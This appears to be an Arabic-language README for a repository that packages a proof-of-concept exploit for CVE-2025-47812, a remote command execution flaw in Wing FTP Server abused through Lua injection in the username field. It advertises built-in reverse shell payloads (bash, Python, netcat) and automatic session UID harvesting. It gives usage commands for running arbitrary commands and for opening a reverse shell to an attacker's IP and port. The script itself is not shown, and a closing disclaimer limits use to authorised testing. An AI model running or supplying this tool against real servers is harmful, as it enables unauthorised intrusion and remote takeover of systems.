CVE-2025-47812 - استغلال ثغرة تنفيذ الأوامر في Wing FTP Server

يوفر هذا المستودع نموذجًا لإثبات المفهوم لاستغلال CVE-2025-47812، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) في Wing FTP Server. يمكن للمهاجم حقن وتنفيذ أوامر نظام تعسفية مبنية على Lua عن طريق إساءة استخدام معامل username أثناء المصادقة، مما يؤدي إلى تنفيذ كامل للتعليمات البرمجية عن بُعد.

📌 ميزات الاستغلال

• 🔧 تنفيذ أوامر شل مخصصة عن بُعد
• 🧬 حمولات شل عكسية متعددة مدمجة (bash، Python، netcat، إلخ)
• 🪪 استخراج تلقائي لـ UID من Set-Cookie
• 📦 تسجيل UIDs الناجحة في found_uids.txt
• 🧪 وضع المحاكاة (لا يتم إرسال طلبات فعلية — اختبر منطق الإدخال/الإخراج بأمان)
• 🔁 منطق إعادة المحاولة عند فشل الشبكة
• 🧹 تنسيق حمولة أنظف وإخراج قابل للقراءة
• ✅ التحقق من صحة الإدخال لعناوين IP والمنافذ وعناوين URL
• ⚙️ دعم وسيطات سطر الأوامر لسير العمل الآلي

💻 الاستخدام

تنفيذ أمر شل بسيط:

python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"

تشغيل شل عكسية:

python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444

وضع المحاكاة (لن يتم إرسال أي طلبات):

python3 CVE-2025-47812.py --url http://target:5466 --cmd "whoami" --dry-run

🔄 التغييرات التي تم إجراؤها على الاستغلال الأصلي

⚠️ إخلاء المسؤولية

هذا المشروع مخصص للاختبارات الأمنية التعليمية والمصرح بها فقط. لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.